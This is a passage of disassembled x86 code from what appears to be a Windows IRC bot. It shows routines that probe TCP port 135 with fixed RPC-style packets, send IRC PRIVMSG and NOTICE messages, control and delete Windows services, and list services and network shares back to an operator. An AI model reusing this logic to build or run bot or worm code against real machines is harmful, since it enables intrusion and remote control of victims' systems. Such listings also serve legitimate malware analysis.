					; sub_40ADCF+330j
		push	esi
		call	sub_413F7F
		pop	ecx
		push	[ebp+arg_4]
		call	ds:dword_41F058	; CloseHandle


loc_40B114:				; CODE XREF: sub_40ADCF+292j
		mov	eax, edi
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40B11B:				; CODE XREF: sub_40ADCF+1Bj
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_44CD18	; inet_addr
		push	eax
		call	sub_4064D1
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40B140:				; CODE XREF: sub_40ADCF+14j
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	loc_40AE72
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	87h
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_12], ax
		call	sub_408947
		pop	ecx
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, edi
		jz	loc_40B25F
		push	ebx
		push	48h
		push	offset dword_4292F0
		push	esi
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	loc_40B25F
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jz	loc_40B25F
		cmp	[ebp+var_2612],	0Ch
		jnz	short loc_40B25F
		push	ebx
		push	18h
		push	offset dword_42933C
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	short loc_40B25F
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40B25F
		cmp	[ebp+var_2612],	2
		jnz	short loc_40B25F
		push	10h
		push	offset dword_429358
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		call	sub_40AD97
		add	esp, 10h
		test	al, al
		jz	short loc_40B23F
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40B25F
; ---------------------------------------------------------------------------


loc_40B23F:				; CODE XREF: sub_40ADCF+462j
		push	10h
		push	offset dword_42936C
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		call	sub_40AD97
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40B25F:				; CODE XREF: sub_40ADCF+3CEj
					; sub_40ADCF+3E5j ...
		push	[ebp+arg_4]
		call	dword_44CD70	; closesocket
		mov	eax, ebx
		jmp	loc_40AE74
sub_40ADCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B26F	proc near		; CODE XREF: sub_40CA91+3Dp
					; sub_40CC09+1CBp ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_100]
		push	[ebp+arg_4]
		push	0FFh
		push	eax
		call	sub_41576F
		add	esp, 10h
		lea	eax, [ebp+var_100]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		leave
		retn
sub_40B26F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B5	proc near		; CODE XREF: sub_401000+88p
					; sub_401447+77p ...

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40B2D0
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40B2D0:				; CODE XREF: sub_40B2B5+14j
		push	edi
		call	sub_413E90
		push	[ebp+arg_4]
		mov	esi, 0F9h
		sub	esi, eax
		call	sub_413E90
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_100]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_413812
		add	esp, 2Ch
		lea	eax, [ebp+var_100]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40B34E
		push	7D0h
		call	ds:dword_41F050	; Sleep

locret_40B34E:				; CODE XREF: sub_40B2B5+8Cj
		leave
		retn
sub_40B2B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B350	proc near		; CODE XREF: sub_40CC09:loc_40E863p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40B3B5
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4294F8[esi]
		push	edi
		push	eax
		call	sub_40B3D7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40B398
		push	edi
		push	off_4294F4[esi]
		mov	esi, offset dword_4513A4
		push	offset unk_42962C
		push	esi
		call	sub_413812
		add	esp, 10h
		jmp	short loc_40B3D2
; ---------------------------------------------------------------------------


loc_40B398:				; CODE XREF: sub_40B350+2Aj
		push	eax
		call	sub_40B479
		push	eax
		push	edi
		mov	esi, offset dword_4513A4
		push	offset unk_4295F0
		push	esi
		call	sub_413812
		add	esp, 14h
		jmp	short loc_40B3D2
; ---------------------------------------------------------------------------


loc_40B3B5:				; CODE XREF: sub_40B350+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4513A4
		push	off_4294F0[eax*4]
		push	offset unk_4295B8
		push	esi
		call	sub_413812
		add	esp, 0Ch


loc_40B3D2:				; CODE XREF: sub_40B350+46j
					; sub_40B350+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40B350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3D7	proc near		; CODE XREF: sub_40B350+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_44CCD0	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40B3FE
		call	ds:off_41F06C
		mov	ebx, eax
		jmp	short loc_40B473
; ---------------------------------------------------------------------------


loc_40B3FE:				; CODE XREF: sub_40B3D7+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_44CBD4	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40B41E
		call	ds:off_41F06C
		mov	ebx, eax
		jmp	short loc_40B46B
; ---------------------------------------------------------------------------


loc_40B41E:				; CODE XREF: sub_40B3D7+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40B451
		cmp	eax, 3
		jz	short loc_40B442
		jle	short loc_40B464
		cmp	eax, 6
		jg	short loc_40B464
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_44CC3C	; ControlService
		jmp	short loc_40B458
; ---------------------------------------------------------------------------


loc_40B442:				; CODE XREF: sub_40B3D7+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_44CBDC	; StartServiceA
		jmp	short loc_40B458
; ---------------------------------------------------------------------------


loc_40B451:				; CODE XREF: sub_40B3D7+4Dj
		push	esi
		call	dword_44CC40	; DeleteService


loc_40B458:				; CODE XREF: sub_40B3D7+69j
					; sub_40B3D7+78j
		test	eax, eax
		jnz	short loc_40B464
		call	ds:off_41F06C
		mov	ebx, eax


loc_40B464:				; CODE XREF: sub_40B3D7+54j
					; sub_40B3D7+59j ...
		push	esi
		call	dword_44CBF0	; CloseServiceHandle


loc_40B46B:				; CODE XREF: sub_40B3D7+45j
		push	edi
		call	dword_44CBF0	; CloseServiceHandle
		pop	esi


loc_40B473:				; CODE XREF: sub_40B3D7+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40B3D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B479	proc near		; CODE XREF: sub_40B350+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40B52E
		jz	loc_40B527
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40B4F1
		jz	short loc_40B4E7
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40B4DD
		dec	ecx
		dec	ecx
		jz	short loc_40B4D3
		dec	ecx
		jz	short loc_40B4C9
		sub	ecx, 51h
		jz	short loc_40B4BF
		sub	ecx, 24h
		jnz	loc_40B5A4	; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4BF:				; CODE XREF: sub_40B479+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B479+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4D3:				; CODE XREF: sub_40B479+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4DD:				; CODE XREF: sub_40B479+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4E7:				; CODE XREF: sub_40B479+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4F1:				; CODE XREF: sub_40B479+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40B520
		dec	ecx
		jz	short loc_40B519
		dec	ecx
		jz	short loc_40B512
		dec	ecx
		jnz	loc_40B5A4	; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B512:				; CODE XREF: sub_40B479+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B519:				; CODE XREF: sub_40B479+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B520:				; CODE XREF: sub_40B479+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B527:				; CODE XREF: sub_40B479+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B52E:				; CODE XREF: sub_40B479+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40B5A4 ; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40B591
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40B5A4 ; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_40B5E5[ecx]
		jmp	ds:off_40B5BD[ecx*4] ; switch jump


loc_40B552:				; DATA XREF: .text:off_40B5BDo
		push	offset aTheSpecifiedDa ; jumptable 0040B54B case 7
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B559:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheServiceDepe ; jumptable 0040B54B case 17
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B560:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheServiceDe_0 ; jumptable 0040B54B case 10
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B567:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheServiceHasB ; jumptable 0040B54B case 0
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B56E:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheSpecified_0 ; jumptable 0040B54B case 2
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B575:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheServiceCoul ; jumptable 0040B54B case 11
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B57C:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheServiceHa_0 ; jumptable 0040B54B case 14
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B583:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheRequested_1 ; jumptable 0040B54B case 3
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B58A:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: .text:off_40B5BDo
		push	offset aTheServiceHasN ; jumptable 0040B54B case 4
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B591:				; CODE XREF: sub_40B479+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40B596:				; CODE XREF: sub_40B479+41j
					; sub_40B479+4Bj ...
		push	offset dword_450FE8
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_40B5B7
; ---------------------------------------------------------------------------


loc_40B5A4:				; CODE XREF: sub_40B479+36j
					; sub_40B479+89j ...
		push	eax		; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_450FE8
		call	sub_413812
		add	esp, 0Ch


loc_40B5B7:				; CODE XREF: sub_40B479+129j
		mov	eax, offset dword_450FE8
		retn
sub_40B479	endp

; ---------------------------------------------------------------------------
off_40B5BD	dd offset loc_40B567	; DATA XREF: sub_40B479+D2r
		dd offset loc_40B56E	; jump table for switch	statement
		dd offset loc_40B583
		dd offset loc_40B58A
		dd offset loc_40B552
		dd offset loc_40B560
		dd offset loc_40B575
		dd offset loc_40B57C
		dd offset loc_40B559
		dd offset loc_40B5A4
byte_40B5E5	db	0,     9,     1,     2 ; DATA XREF: sub_40B479+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5F7	proc near		; CODE XREF: sub_40CC09+1C85p

var_28C		= byte ptr -28Ch
var_288		= byte ptr -288h
var_124		= byte ptr -124h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_44CCD0	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_40B62F:				; CODE XREF: sub_40B5F7+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_44CCA0	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40B669
		call	ds:off_41F06C
		cmp	eax, 0EAh
		jnz	loc_40B71D


loc_40B669:				; CODE XREF: sub_40B5F7+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40B714
		lea	esi, [ebp+var_288]


loc_40B67A:				; CODE XREF: sub_40B5F7+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40B6C3
		dec	eax
		jz	short loc_40B6BC
		dec	eax
		jz	short loc_40B6B5
		dec	eax
		jz	short loc_40B6AE
		dec	eax
		jz	short loc_40B6A7
		dec	eax
		jz	short loc_40B6A0
		dec	eax
		jz	short loc_40B699
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B699:				; CODE XREF: sub_40B5F7+99j
		push	offset aPaused	; "	Paused"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6A0:				; CODE XREF: sub_40B5F7+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6A7:				; CODE XREF: sub_40B5F7+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6AE:				; CODE XREF: sub_40B5F7+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6B5:				; CODE XREF: sub_40B5F7+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6BC:				; CODE XREF: sub_40B5F7+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6C3:				; CODE XREF: sub_40B5F7+87j
		push	offset aStopped	; "    Stopped"


loc_40B6C8:				; CODE XREF: sub_40B5F7+A0j
					; sub_40B5F7+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_413812
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_124]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_124]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40B67A


loc_40B714:				; CODE XREF: sub_40B5F7+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40B62F


loc_40B71D:				; CODE XREF: sub_40B5F7+6Cj
		push	[ebp+var_C]
		call	dword_44CBF0	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40B5F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B734	proc near		; CODE XREF: sub_40CC09:loc_40E945p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40B7CD
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40B75D
		dec	eax
		jnz	short loc_40B7AD
		push	edi
		push	0
		call	sub_40B906
		pop	ecx
		pop	ecx
		jmp	short loc_40B7A9
; ---------------------------------------------------------------------------


loc_40B75D:				; CODE XREF: sub_40B734+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40B79B
		push	24h
		push	edi
		call	sub_415BA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B79B
		push	57h
		pop	eax


loc_40B774:				; CODE XREF: sub_40B734+77j
		push	eax
		call	sub_40C0DE
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4511A4
		push	off_4294F0[eax*4]
		push	offset unk_429BFC
		push	esi
		call	sub_413812
		add	esp, 18h
		jmp	short loc_40B7ED
; ---------------------------------------------------------------------------


loc_40B79B:				; CODE XREF: sub_40B734+2Dj
					; sub_40B734+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40B85A
		add	esp, 0Ch


loc_40B7A9:				; CODE XREF: sub_40B734+27j
		test	eax, eax
		jnz	short loc_40B774


loc_40B7AD:				; CODE XREF: sub_40B734+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4511A4
		push	off_4294F4[eax*4]
		push	offset unk_429BCC
		push	esi
		call	sub_413812
		add	esp, 10h
		jmp	short loc_40B7ED
; ---------------------------------------------------------------------------


loc_40B7CD:				; CODE XREF: sub_40B734+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4511A4
		lea	eax, [eax+eax*2]
		push	off_4294F0[eax*4]
		push	offset unk_429B94
		push	esi
		call	sub_413812
		add	esp, 0Ch


loc_40B7ED:				; CODE XREF: sub_40B734+65j
					; sub_40B734+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40B734	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7F3	proc near		; CODE XREF: .text:00412F23p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40B800
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B800:				; CODE XREF: sub_40B7F3+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_41F10C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4512A3, 1
		mov	ebp, eax
		jnz	short loc_40B83D
		or	byte_4512A3, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_414905
		pop	ecx
		mov	dword_451144, eax


loc_40B83D:				; CODE XREF: sub_40B7F3+32j
		push	esi
		push	esi
		push	ebp
		push	dword_451144
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_451144
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40B7F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B85A	proc near		; CODE XREF: sub_40B734+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40B8C5
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40B8C5
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_415BA0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40B8C5
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_44CBEC
		pop	edi
		leave
		retn
sub_40B85A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8C5	proc near		; CODE XREF: sub_40B85A+Ap
					; sub_40B85A+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40B8D2
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B8D2:				; CODE XREF: sub_40B8C5+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41F110
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_414905
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40B8C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B906	proc near		; CODE XREF: sub_40B734+20p
					; .text:00412E99p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40B8C5
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40B8C5
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_44CBC8
		pop	esi
		retn
sub_40B906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B929	proc near		; CODE XREF: sub_40CC09+1D68p

var_110		= byte ptr -110h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40B8C5
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 18h


loc_40B962:				; CODE XREF: sub_40B929+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_44CC38
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40B9C5
		cmp	ebx, 0EAh
		jz	short loc_40B9C5
		push	ebx
		push	ebx
		call	sub_40C0DE
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	offset unk_429C58
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_110]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 24h
		jmp	short loc_40BA32
; ---------------------------------------------------------------------------


loc_40B9C5:				; CODE XREF: sub_40B929+5Dj
					; sub_40B929+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40BA29
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40B9D3:				; CODE XREF: sub_40B929+FCj
		push	dword ptr [esi+10h]
		call	dword_44CBE0	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset off_429C54
		jnz	short loc_40B9EA
		mov	eax, offset aNo	; "No"


loc_40B9EA:				; CODE XREF: sub_40B929+BAj
		push	eax
		lea	eax, [ebp+var_110]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_110]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40B9D3
		xor	esi, esi


loc_40BA29:				; CODE XREF: sub_40B929+A2j
		push	[ebp+var_4]
		call	dword_44CD68


loc_40BA32:				; CODE XREF: sub_40B929+9Aj
		cmp	ebx, 0EAh
		jz	loc_40B962
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40B929	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA4A	proc near		; CODE XREF: sub_40CC09:loc_40E9E7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
